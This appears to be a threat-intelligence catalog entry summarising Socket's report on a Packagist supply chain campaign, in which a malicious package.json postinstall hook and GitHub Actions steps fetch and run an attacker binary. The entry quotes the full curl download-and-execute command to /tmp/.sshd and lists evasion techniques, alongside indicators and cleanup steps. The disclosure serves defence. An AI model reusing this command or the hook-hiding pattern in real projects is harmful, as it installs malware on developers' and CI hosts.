Skip to content

Back to the catalog

Socket: Malicious Postinstall Hook Compromises 8 PHP/Node Packages on Packagist
socket.devwriteup

Socket: Malicious Postinstall Hook Compromises 8 PHP/Node Packages on Packagist

Socket's AI scanner found a coordinated supply chain campaign in which 8 Packagist (PHP/Composer) packages had their upstream GitHub repos modified to add a malicious postinstall hook — placed in package.json rather than composer.json — that downloads a binary (gvfsd-network) from an attacker GitHub Releases URL to /tmp/.sshd, disables TLS verification, and runs it in the background. The same payload was also found injected into GitHub Actions workflow files (as a step named "Dependency Cache Sync") in forked repos, and a GitHub code search for the attacker account parikhpreyash4 surfaced hundreds of additional references across Node.js projects. Highest real-world risk is concentrated in Laravel starter kits devdojo/wave (~6,400 stars) and devdojo/genesis (~9,100 Packagist installs), since starter-kit repos become the project root where npm install triggers the hook directly.

TL;DR Socket found 8 Packagist packages and hundreds of GitHub repos infected via a package.json postinstall hook (and GitHub Actions workflow injections) that downloads and runs an attacker binary from /tmp/.sshd.
Open original ↗
Document

What it is

A coordinated supply chain campaign, reported by Socket, using an identical malicious postinstall script planted in the package.json of eight Packagist PHP packages via commits to their upstream GitHub repositories. The same payload also appears in GitHub Actions workflow files across hundreds of repos, tied to the attacker account parikhpreyash4.

How it works

The injected postinstall command is identical across all confirmed artifacts:

curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &

It downloads a Linux binary named gvfsd-network from a GitHub Releases URL with curl -k (TLS verification disabled), writes it to the hidden system-looking path /tmp/.sshd, suppresses errors via 2>/dev/null, makes it executable, and runs it in the background. The code lives in package.json, not composer.json — so reviewers auditing Composer metadata for these PHP packages miss it. In CI, the same command is embedded as a workflow step named Dependency Cache Sync (e.g. in .github/workflows/ci.yml and deploy_coding.yml of forks), giving a second execution vector.

Preconditions / Affected

Any project that installs one of the affected packages via npm-style tooling (triggering postinstall), or that runs one of the compromised GitHub Actions workflows. Confirmed compromised upstream repos include:

  • moritz-sauer-13/silverstripe-cms-theme (commit 7825479) — hook still on master
  • crosiersource/crosierlib-base (commit 551c319) — still on master
  • baskarcm/tzi-chat-ui (commit 58fa0b2) — still on main
  • thedevdojo/wave, thedevdojo/genesis, katanaui/katana, elitedevsquad/sidecar-laravel, r2luna/brain

Workflow-based instances noted: 448776129/UA2F and 448776129/blog-1 (public forks).

What to do

  • Search your repos and dependency trees for the parikhpreyash4 GitHub account, the gvfsd-network binary name, the /tmp/.sshd drop path, and any workflow step named Dependency Cache Sync.
  • Grep package.json (not just composer.json) postinstall hooks in PHP projects that bundle JS tooling.
  • Check for and remove /tmp/.sshd on hosts and CI runners that installed affected packages.

Caveats

Socket could not retrieve the second-stage binary (the GitHub-hosted payload was already gone), so its behavior is unclassified beyond "unauthenticated remote binary." The hundreds of GitHub search hits (~17 hours after first detection) are unconfirmed as distinct compromises — they may include forks, duplicates, or cached references. At check time, the hook remained live on several master/main branches.

Technologies named here

Techniques named here

  • Malicious postinstall hook / lifecycle script abuse
  • Cross-ecosystem placement to evade review
  • Remote binary download and execution
  • TLS verification bypass
  • Error suppression
  • Masquerading as legitimate system file
  • Background execution
  • CI/CD workflow poisoning
  • Upstream repository compromise via malicious commits
  • Exploitation of branch-tracking package versions

Threat actors named here

  • parikhpreyash4

Related in Supply Chain